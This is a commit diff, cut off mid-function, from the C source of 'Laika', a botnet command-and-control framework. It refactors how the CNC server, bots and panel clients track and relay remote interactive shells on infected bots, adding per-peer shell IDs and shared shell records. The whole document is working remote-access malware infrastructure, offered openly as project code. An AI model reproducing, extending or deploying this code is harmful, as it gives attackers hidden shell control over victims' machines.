Shell: minor refactoring, cnc supports mutiple shells per auth clients

- while cnc supports multiple shells per auth client, the LaikaShell still only supports 1 concurrent shell at a time.
	this feature is just preparing boilerplate for future features. shell treats all SHELL_* packets for the same shell, regardless of shellID
This commit is contained in:
CPunch 2022-05-20 14:10:53 -05:00
parent e3f6b76e35
commit 0fdca35f87
8 changed files with 173 additions and 137 deletions

View File

@ -70,7 +70,7 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
/* check if shell is not running */ /* check if shell is not running */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id])) if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n"); return;
/* close shell */ /* close shell */
laikaB_freeShell(bot, shell); laikaB_freeShell(bot, shell);

View File

@ -7,8 +7,6 @@
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_closeAuthShell(struct sLaika_peer *auth);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);

View File

@ -8,34 +8,44 @@
#include "lpeer.h" #include "lpeer.h"
struct sLaika_peerInfo { struct sLaika_peerInfo {
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
struct sLaika_cnc *cnc; struct sLaika_cnc *cnc;
long lastPing; long lastPing;
bool completeHandshake; bool completeHandshake;
}; };
struct sLaika_shellInfo {
struct sLaika_peer *bot;
struct sLaika_peer *auth;
uint32_t botShellID, authShellID;
uint16_t cols, rows;
};
#define BASE_PEERINFO struct sLaika_peerInfo info; #define BASE_PEERINFO struct sLaika_peerInfo info;
/* these will differ someday */
struct sLaika_botInfo { struct sLaika_botInfo {
BASE_PEERINFO BASE_PEERINFO
struct sLaika_peer *shellAuths[LAIKA_MAX_SHELLS]; /* currently connected shells */
}; };
struct sLaika_authInfo { struct sLaika_authInfo {
BASE_PEERINFO BASE_PEERINFO
struct sLaika_peer *shellBot; /* currently connected shell */
uint32_t shellID;
}; };
#undef BASE_PEERINFO #undef BASE_PEERINFO
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData)
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc); struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc); struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo); void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth); struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows);
void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth); void laikaC_closeShell(struct sLaika_shellInfo *shell);
void laikaC_closeBotShells(struct sLaika_peer *bot); void laikaC_closeShells(struct sLaika_peer *peer);
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);

View File

@ -129,7 +129,7 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
laikaC_handleAuthenticatedShellClose, laikaC_handleAuthenticatedShellClose,
0, sizeof(uint32_t),
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleAuthenticatedShellData, laikaC_handleAuthenticatedShellData,
@ -199,7 +199,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i; int i;
((struct sLaika_peerInfo*)peer->uData)->completeHandshake = true; GETPINFOFROMPEER(peer)->completeHandshake = true;
/* add peer to panels list (if it's a panel) */ /* add peer to panels list (if it's a panel) */
if (peer->type == PEER_AUTH) if (peer->type == PEER_AUTH)
@ -218,18 +218,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i; int i;
/* ignore uninitalized peers */ /* ignore uninitalized peers */
if (!((struct sLaika_peerInfo*)peer->uData)->completeHandshake) if (!(GETPINFOFROMPEER(peer)->completeHandshake))
return; return;
/* close any open shells */
laikaC_closeShells(peer);
switch (peer->type) { switch (peer->type) {
case PEER_BOT: { case PEER_BOT: {
/* close any open shells */ /* TODO */
laikaC_closeBotShells(peer);
break; break;
} }
case PEER_AUTH: { case PEER_AUTH: {
laikaC_closeAuthShell(peer);
/* remove peer from panels list */ /* remove peer from panels list */
laikaC_rmvAuth(cnc, peer); laikaC_rmvAuth(cnc, peer);
break; break;
@ -383,7 +382,7 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
} }
bool sweepPeers(struct sLaika_peer *peer, void *uData) { bool sweepPeers(struct sLaika_peer *peer, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)peer->uData; struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
long currTime = laikaT_getTime(); long currTime = laikaT_getTime();

View File

@ -41,22 +41,6 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer); laikaS_endOutPacket(authPeer);
} }
void laikaC_closeAuthShell(struct sLaika_peer *auth) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)auth->uData;
if (!aInfo->shellBot)
return;
/* forward SHELL_CLOSE to bot */
laikaS_startOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&aInfo->shellBot->sock, &aInfo->shellID, sizeof(uint32_t));
laikaS_endOutPacket(aInfo->shellBot);
/* rmv shell */
laikaC_rmvShell((struct sLaika_botInfo*)aInfo->shellBot->uData, auth);
aInfo->shellBot = NULL;
}
/* ============================================[[ Packet Handlers ]]============================================= */ /* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
@ -86,15 +70,11 @@ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc; struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer; struct sLaika_peer *peer;
uint16_t cols, rows; uint16_t cols, rows;
/* sanity check, make sure shell isn't already open */
if (aInfo->shellBot)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Shell already open!\n");
/* read pubkey & find peer */ /* read pubkey & find peer */
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL) if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
@ -107,27 +87,23 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t)); laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t)); laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
/* link shells */ /* open shell */
aInfo->shellBot = peer; laikaC_openShell(peer, authPeer, cols, rows);
aInfo->shellID = laikaC_addShell((struct sLaika_botInfo*)peer->uData, authPeer);
/* forward the request to open a shell */
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&peer->sock, &aInfo->shellID, sizeof(uint32_t));
laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t));
laikaS_endOutPacket(peer);
} }
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc; struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_shellInfo *shell;
uint32_t id;
/* an AUTH_SHELL_CLOSE can be sent after the shell has already been closed, so don't error just ignore the packet */ laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
if (aInfo->shellBot == NULL)
/* ignore malformed packet */
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return; return;
laikaC_closeAuthShell(authPeer); laikaC_closeShell(shell);
} }
/* improves readability */ /* improves readability */
@ -139,16 +115,23 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH]; uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc; struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer; struct sLaika_peer *peer;
struct sLaika_shellInfo *shell;
uint32_t id;
/* sanity check, make sure shell is open */ if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
if ((peer = aInfo->shellBot) == NULL) LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Shell not open!\n");
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH) laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n"); sz -= sizeof(uint32_t);
/* ignore malformed packet */
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
peer = shell->bot;
/* read data */ /* read data */
laikaS_read(&authPeer->sock, data, sz); laikaS_read(&authPeer->sock, data, sz);
@ -161,12 +144,12 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
*/ */
/* first part */ /* first part */
SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &aInfo->shellID); SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &shell->botShellID);
/* second part */ /* second part */
SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &aInfo->shellID); SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &shell->botShellID);
} else { } else {
SENDSHELLDATA(peer, data, sz, &aInfo->shellID); SENDSHELLDATA(peer, data, sz, &shell->botShellID);
} }
} else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */ } else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */
uint8_t *buf = laikaM_malloc(sz); uint8_t *buf = laikaM_malloc(sz);
@ -190,12 +173,12 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */ buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */
i = count; i = count;
while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) { while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &aInfo->shellID); SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &shell->botShellID);
i -= LAIKA_SHELL_DATA_MAX_LENGTH; i -= LAIKA_SHELL_DATA_MAX_LENGTH;
} }
/* send the leftovers */ /* send the leftovers */
SENDSHELLDATA(peer, buf + (count - i), i, &aInfo->shellID); SENDSHELLDATA(peer, buf + (count - i), i, &shell->botShellID);
laikaM_free(buf); laikaM_free(buf);
} }
} }

View File

@ -2,12 +2,18 @@
#include "cnc.h" #include "cnc.h"
#include "cpeer.h" #include "cpeer.h"
#include "lerror.h"
/* ===============================================[[ Peer Info ]]================================================ */ /* ===============================================[[ Peer Info ]]================================================ */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
pInfo->shells[i] = NULL;
}
pInfo->cnc = cnc; pInfo->cnc = cnc;
pInfo->lastPing = laikaT_getTime(); pInfo->lastPing = laikaT_getTime();
pInfo->completeHandshake = false; pInfo->completeHandshake = false;
@ -16,19 +22,15 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) { struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo)); struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
bInfo->shellAuths[i] = NULL;
}
/* TODO */
return bInfo; return bInfo;
} }
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) { struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo)); struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
aInfo->shellBot = NULL; /* TODO */
return aInfo; return aInfo;
} }
@ -37,102 +39,121 @@ void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo
laikaM_free(pInfo); laikaM_free(pInfo);
} }
/*int laikaC_findAuthShell(struct sLaika_botInfo *bot, uint32_t id) {
struct sLaika_peer *auth;
struct sLaika_authInfo *aInfo;
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { /* ==============================================[[ Shell Info ]]================================================ */
if ((auth = bot->shellAuths[i]) != NULL && (aInfo = auth->uData)->shellID == id)
return i;
}
return -1; int findOpenShellID(struct sLaika_peerInfo *pInfo) {
}*/ int id;
int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) { for (id = 0; id < LAIKA_MAX_SHELLS; id++) {
int i; if (pInfo->shells[id] == NULL)
return id;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if (bInfo->shellAuths[i] == NULL) {
bInfo->shellAuths[i] = auth;
return i;
}
} }
return -1; return -1;
} }
void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) { struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows) {
int i; struct sLaika_shellInfo *shell = (struct sLaika_shellInfo*)laikaM_malloc(sizeof(struct sLaika_shellInfo));
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { shell->bot = bot;
if (bInfo->shellAuths[i] == auth) { shell->auth = auth;
bInfo->shellAuths[i] = NULL; shell->cols = cols;
return; shell->rows = rows;
}
} /* find open ids for each peer */
if ((shell->botShellID = findOpenShellID(GETPINFOFROMPEER(bot))) == -1)
LAIKA_ERROR("Failed to open new shellInfo for bot %p, all shells are full!\n", bot);
if ((shell->authShellID = findOpenShellID(GETPINFOFROMPEER(auth))) == -1)
LAIKA_ERROR("Failed to open new shellInfo for auth %p, all shells are full!\n", auth);
/* assign ids */
GETPINFOFROMPEER(bot)->shells[shell->botShellID] = shell;
GETPINFOFROMPEER(auth)->shells[shell->authShellID] = shell;
/* send SHELL_OPEN packets */
laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&bot->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_writeInt(&bot->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&bot->sock, &rows, sizeof(uint16_t));
laikaS_endOutPacket(bot);
laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_writeInt(&auth->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&auth->sock, &rows, sizeof(uint16_t));
laikaS_endOutPacket(auth);
return shell;
} }
void laikaC_closeBotShells(struct sLaika_peer *bot) { void laikaC_closeShell(struct sLaika_shellInfo *shell) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)bot->uData; /* send SHELL_CLOSE packets */
struct sLaika_peer *auth; laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_endOutPacket(shell->bot);
laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_endOutPacket(shell->auth);
/* unlink */
GETPINFOFROMPEER(shell->bot)->shells[shell->botShellID] = NULL;
GETPINFOFROMPEER(shell->auth)->shells[shell->authShellID] = NULL;
/* free */
laikaM_free(shell);
}
void laikaC_closeShells(struct sLaika_peer *peer) {
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
int i; int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((auth = bInfo->shellAuths[i]) != NULL) { if (pInfo->shells[i])
/* forward to SHELL_CLOSE to auth */ laikaC_closeShell(pInfo->shells[i]);
laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL;
bInfo->shellAuths[i] = NULL;
}
} }
} }
/* ============================================[[ Packet Handlers ]]============================================= */ /* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = bInfo->info.cnc; struct sLaika_shellInfo *shell;
struct sLaika_peer *auth;
uint32_t id; uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
/* ignore packet if shell isn't open */ /* ignore packet if shell isn't open */
if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL) if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return; return;
/* forward SHELL_CLOSE to auth */
laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE);
/* close shell */ /* close shell */
((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL; laikaC_closeShell(shell);
bInfo->shellAuths[id] = NULL;
} }
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peer *auth; struct sLaika_shellInfo *shell;
uint32_t id; uint32_t id;
/* ignore packet if malformed */ /* ignore packet if malformed */
if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t)) if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
return; return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
/* ignore packet if shell isn't open */ /* ignore packet if shell isn't open */
if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL) if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return; return;
laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t)); laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t));
/* forward SHELL_DATA packet to auth */ /* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(auth, LAIKAPKT_SHELL_DATA); laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
laikaS_write(&auth->sock, buf, sz-sizeof(uint32_t)); laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_endVarPacket(auth); laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t));
laikaS_endVarPacket(shell->auth);
} }

View File

@ -58,19 +58,19 @@ enum {
/* layout of LAIKAPKT_PINGPONG: /* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet) * NULL (empty packet)
*/ */
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ LAIKAPKT_SHELL_OPEN,
/* layout of LAIKAPKT_SHELL_OPEN: /* layout of LAIKAPKT_SHELL_OPEN:
* uint32_t id; // this field is absent from the panel/auth client * uint32_t id;
* uint16_t cols; * uint16_t cols;
* uint16_t rows; * uint16_t rows;
*/ */
LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */ LAIKAPKT_SHELL_CLOSE,
/* layout of LAIKAPKT_SHELL_CLOSE: /* layout of LAIKAPKT_SHELL_CLOSE:
* uint32_t id; // this field is absent from the panel/auth client * uint32_t id;
*/ */
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ LAIKAPKT_SHELL_DATA,
/* layout of LAIKAPKT_SHELL_DATA /* layout of LAIKAPKT_SHELL_DATA
* uint32_t id; // this field is absent from the panel/auth client * uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/ */
LAIKAPKT_CONTENT_NEW, LAIKAPKT_CONTENT_NEW,

View File

@ -100,9 +100,21 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
shellC_rmvPeer(client, bot, id); shellC_rmvPeer(client, bot, id);
} }
void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
/* stubbed! this packet is a no-op currently */
}
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH]; uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_client *client = (tShell_client*)uData; tShell_client *client = (tShell_client*)uData;
uint32_t id;
/* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
sz -= sizeof(uint32_t);
/* sanity check */ /* sanity check */
if (!shellC_isShellOpen(client)) if (!shellC_isShellOpen(client))
@ -114,10 +126,13 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
tShell_client *client = (tShell_client*)uData; tShell_client *client = (tShell_client*)uData;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
/* sanity check */ /* sanity check */
if (!shellC_isShellOpen(client)) if (!shellC_isShellOpen(client))
LAIKA_ERROR("LAIKAPKT_SHELL_DATA: No shell open!\n"); return; /* ignore invalid CLOSE packets */
/* close shell */ /* close shell */
shellC_closeShell(client); shellC_closeShell(client);
@ -142,9 +157,13 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
shellC_handleRmvPeer, shellC_handleRmvPeer,
crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t),
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
shellC_handleShellOpen,
sizeof(uint32_t) + sizeof(uint16_t) + sizeof(uint16_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
shellC_handleShellClose, shellC_handleShellClose,
0, sizeof(uint32_t),
false), false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
shellC_handleShellData, shellC_handleShellData,
@ -355,21 +374,27 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
} }
void shellC_closeShell(tShell_client *client) { void shellC_closeShell(tShell_client *client) {
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
/* check if we have a shell open */ /* check if we have a shell open */
if (!shellC_isShellOpen(client)) if (!shellC_isShellOpen(client))
return; return;
/* send SHELL_CLOSE request */ /* send SHELL_CLOSE request */
laikaS_emptyOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE); laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
laikaS_endOutPacket(client->peer);
client->openShell = NULL; client->openShell = NULL;
} }
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) { void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
/* check if we have a shell open */ /* check if we have a shell open */
if (!shellC_isShellOpen(client)) if (!shellC_isShellOpen(client))
return; return;
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA); laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
